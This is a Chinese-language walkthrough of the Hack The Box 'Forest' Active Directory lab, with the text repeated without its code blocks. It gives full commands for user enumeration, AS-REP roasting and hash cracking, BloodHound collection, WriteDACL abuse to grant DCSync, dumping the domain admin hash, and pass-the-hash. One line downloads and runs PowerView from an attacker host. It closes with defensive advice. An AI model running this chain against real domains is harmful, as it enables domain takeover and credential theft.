AD-forest详解
字数 2440 2025-08-12 11:34:44

Active Directory 域渗透实战:Forest 靶机攻防详解

0x00 前言

本教学文档基于 Hack The Box 的 Active Directory 101 系列中的 Forest 靶机,详细记录了从信息收集到最终获取域管理员权限的完整渗透过程。文档涵盖了 Kerberos 枚举、AS-REP Roasting、BloodHound 分析、DACL 权限滥用和 DCSync 攻击等关键技术点。

0x01 信息收集阶段

1.1 端口扫描与服务识别

使用 Nmap 进行全端口扫描:

nmap -sC -sV -p- 10.10.10.161 -oA nmap_forest

关键发现:

  • Kerberos (88/TCP): Windows Kerberos 协议服务,可用于枚举 AD 信息
  • LDAP (389/TCP): 活动目录 LDAP 服务,允许匿名绑定时可查询大量 AD 信息
  • SMB (445/TCP): Windows SMB 协议,检查是否允许空会话
  • WinRM (5985/TCP): WS-Management 协议的 Microsoft 实现,可通过 PowerShell 远程连接
  • RPC (135/TCP): 可用于枚举 AD 信息

1.2 系统信息确认

通过 SMB 扫描获取:

  • 操作系统:Windows Server 2016 Standard 14393
  • 计算机名:FOREST
  • 域名:htb.local
  • 完整域名:FOREST.htb.local

0x02 用户枚举技术

2.1 Kerberos 用户枚举

使用 kerbrute 工具进行用户枚举:

kerbrute_linux_amd64 userenum --dc 10.10.10.161 -d htb.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt

原理:通过发送无预认证的 TGT 请求:

  • 如果 KDC 响应 PRINCIPAL UNKNOWN 错误,用户名不存在
  • 如果 KDC 提示进行预身份验证,用户名存在

2.2 RPC 用户枚举

使用 rpcclient 进行空会话枚举:

rpcclient -U "" 10.10.10.161
enumdomusers

2.3 LDAP 用户枚举

使用 ldapsearch 进行用户枚举:

ldapsearch -x -b "DC=htb,DC=local" -s base -h 10.10.10.161

发现的有效用户:

  • sebastien
  • lucinda
  • svc-alfresco
  • andy
  • mark
  • santi

0x03 AS-REP Roasting 攻击

3.1 攻击原理

当用户账户设置了"不需要 Kerberos 预认证"属性时,可以直接获取其 TGT 票据进行离线破解。

3.2 实际操作

针对 svc-alfresco 用户的攻击:

GetNPUsers.py -dc-ip 10.10.10.161 htb.local/svc-alfresco -request
GetNPUsers.py -dc-ip 10.10.10.161 htb.local/svc-alfresco -request -format hashcat

3.3 密码破解

使用 hashcat 破解获取的哈希:

hashcat -m 18200 hash /root/rockyou.txt --force

破解结果:svc-alfresco 用户的密码为 s3rvice

3.4 利用获取的凭据

使用 evil-winrm 登录:

evil-winrm -u svc-alfresco -p s3rvice -i 10.10.10.161

0x04 BloodHound 信息收集

4.1 BloodHound 安装

Kali Linux 安装步骤:

apt-get install bloodhound
neo4j start

访问 http://localhost:7474,使用默认凭据登录:

  • 用户名:neo4j
  • 密码:neo4j

4.2 数据收集

上传并执行 SharpHound 收集器:

upload SharpHound.exe
./sharphound.exe
download 20221007230250_BloodHound.zip

4.3 数据分析

在 BloodHound 中上传收集的数据,分析域内关系。

关键发现:

  • svc-alfresco 用户属于 Account Operators 组
  • Account Operators 组被 Exchange Windows Permissions 组完全信任
  • Exchange Windows Permissions 组对 htb.local 具有 WriteDACL 权限

0x05 权限提升:滥用 WriteDACL 权限

5.1 创建新用户并添加到特权组

net user test123 test123! /add /domain
net group 'Exchange Windows Permissions' test123 /add /domain
net localgroup 'Remote Management Users' test123 /add

5.2 分配 DCSync 权限

使用 PowerView 分配 DCSync 权限:

powershell -nop -exec bypass -c "iex(New-Object Net.webclient).downloadstring('http://10.10.16.12/PowerView.ps1')"
Add-DomainObjectAcl -PrincipalIdentity 'test123' -TargetIdentity 'DC=htb,DC=local' -Rights DCSync

5.3 DCSync 攻击原理

DCSync 攻击利用 Microsoft 的远程目录复制服务协议 (MS-DRSR):

  1. 域控制器之间每15分钟同步一次数据
  2. 通过 GetNCChanges 请求获取同步数据
  3. 需要以下权限:
    • 复制目录更改 (DS-Replication-Get-Changes)
    • 全部复制目录更改 (DS-Replication-Get-Changes-All)

5.4 执行 DCSync 攻击

使用 secretsdump.py 获取域管理员哈希:

secretsdump.py test123:'test123!'@10.10.10.161

获取的管理员哈希:

htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

5.5 哈希传递攻击

使用 wmiexec 进行哈希传递:

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@10.10.10.161

0x06 攻击流程总结

  1. 信息收集:通过端口扫描发现关键服务
  2. 用户枚举:使用 Kerberos、RPC 和 LDAP 枚举域用户
  3. AS-REP Roasting:利用 svc-alfresco 用户无预认证设置获取 TGT 并破解
  4. 初始访问:使用 evil-winrm 通过获取的凭据登录
  5. 域内侦察:使用 BloodHound 分析域内关系和权限
  6. 权限提升
    • 创建新用户并添加到 Exchange Windows Permissions 组
    • 滥用 WriteDACL 权限分配 DCSync 权限
    • 执行 DCSync 攻击获取域管理员哈希
  7. 横向移动:通过哈希传递获取域管理员权限

0x07 防御建议

  1. 禁用不必要的协议和服务:如 SMB 空会话
  2. 强化 Kerberos 设置:确保所有用户都需要预认证
  3. 权限最小化:限制 Account Operators 和 Exchange Windows Permissions 组的权限
  4. 监控异常活动:如异常的 DCSync 请求
  5. 定期审计 ACL:检查域对象上的异常权限分配
  6. 使用强密码策略:防止密码被轻易破解

0x08 参考工具

  1. kerbrute:Kerberos 用户枚举和暴力破解工具
  2. BloodHound/SharpHound:Active Directory 关系分析和数据收集工具
  3. Impacket:包含多种 Windows 协议攻击工具
  4. evil-winrm:WinRM 客户端工具
  5. hashcat:密码哈希破解工具
Active Directory 域渗透实战:Forest 靶机攻防详解 0x00 前言 本教学文档基于 Hack The Box 的 Active Directory 101 系列中的 Forest 靶机,详细记录了从信息收集到最终获取域管理员权限的完整渗透过程。文档涵盖了 Kerberos 枚举、AS-REP Roasting、BloodHound 分析、DACL 权限滥用和 DCSync 攻击等关键技术点。 0x01 信息收集阶段 1.1 端口扫描与服务识别 使用 Nmap 进行全端口扫描: 关键发现: Kerberos (88/TCP) : Windows Kerberos 协议服务,可用于枚举 AD 信息 LDAP (389/TCP) : 活动目录 LDAP 服务,允许匿名绑定时可查询大量 AD 信息 SMB (445/TCP) : Windows SMB 协议,检查是否允许空会话 WinRM (5985/TCP) : WS-Management 协议的 Microsoft 实现,可通过 PowerShell 远程连接 RPC (135/TCP) : 可用于枚举 AD 信息 1.2 系统信息确认 通过 SMB 扫描获取: 操作系统:Windows Server 2016 Standard 14393 计算机名:FOREST 域名:htb.local 完整域名:FOREST.htb.local 0x02 用户枚举技术 2.1 Kerberos 用户枚举 使用 kerbrute 工具进行用户枚举: 原理 :通过发送无预认证的 TGT 请求: 如果 KDC 响应 PRINCIPAL UNKNOWN 错误,用户名不存在 如果 KDC 提示进行预身份验证,用户名存在 2.2 RPC 用户枚举 使用 rpcclient 进行空会话枚举: 2.3 LDAP 用户枚举 使用 ldapsearch 进行用户枚举: 发现的有效用户: sebastien lucinda svc-alfresco andy mark santi 0x03 AS-REP Roasting 攻击 3.1 攻击原理 当用户账户设置了"不需要 Kerberos 预认证"属性时,可以直接获取其 TGT 票据进行离线破解。 3.2 实际操作 针对 svc-alfresco 用户的攻击: 3.3 密码破解 使用 hashcat 破解获取的哈希: 破解结果:svc-alfresco 用户的密码为 s3rvice 3.4 利用获取的凭据 使用 evil-winrm 登录: 0x04 BloodHound 信息收集 4.1 BloodHound 安装 Kali Linux 安装步骤: 访问 http://localhost:7474 ,使用默认凭据登录: 用户名:neo4j 密码:neo4j 4.2 数据收集 上传并执行 SharpHound 收集器: 4.3 数据分析 在 BloodHound 中上传收集的数据,分析域内关系。 关键发现: svc-alfresco 用户属于 Account Operators 组 Account Operators 组被 Exchange Windows Permissions 组完全信任 Exchange Windows Permissions 组对 htb.local 具有 WriteDACL 权限 0x05 权限提升:滥用 WriteDACL 权限 5.1 创建新用户并添加到特权组 5.2 分配 DCSync 权限 使用 PowerView 分配 DCSync 权限: 5.3 DCSync 攻击原理 DCSync 攻击利用 Microsoft 的远程目录复制服务协议 (MS-DRSR): 域控制器之间每15分钟同步一次数据 通过 GetNCChanges 请求获取同步数据 需要以下权限: 复制目录更改 (DS-Replication-Get-Changes) 全部复制目录更改 (DS-Replication-Get-Changes-All) 5.4 执行 DCSync 攻击 使用 secretsdump.py 获取域管理员哈希: 获取的管理员哈希: 5.5 哈希传递攻击 使用 wmiexec 进行哈希传递: 0x06 攻击流程总结 信息收集 :通过端口扫描发现关键服务 用户枚举 :使用 Kerberos、RPC 和 LDAP 枚举域用户 AS-REP Roasting :利用 svc-alfresco 用户无预认证设置获取 TGT 并破解 初始访问 :使用 evil-winrm 通过获取的凭据登录 域内侦察 :使用 BloodHound 分析域内关系和权限 权限提升 : 创建新用户并添加到 Exchange Windows Permissions 组 滥用 WriteDACL 权限分配 DCSync 权限 执行 DCSync 攻击获取域管理员哈希 横向移动 :通过哈希传递获取域管理员权限 0x07 防御建议 禁用不必要的协议和服务 :如 SMB 空会话 强化 Kerberos 设置 :确保所有用户都需要预认证 权限最小化 :限制 Account Operators 和 Exchange Windows Permissions 组的权限 监控异常活动 :如异常的 DCSync 请求 定期审计 ACL :检查域对象上的异常权限分配 使用强密码策略 :防止密码被轻易破解 0x08 参考工具 kerbrute :Kerberos 用户枚举和暴力破解工具 BloodHound/SharpHound :Active Directory 关系分析和数据收集工具 Impacket :包含多种 Windows 协议攻击工具 evil-winrm :WinRM 客户端工具 hashcat :密码哈希破解工具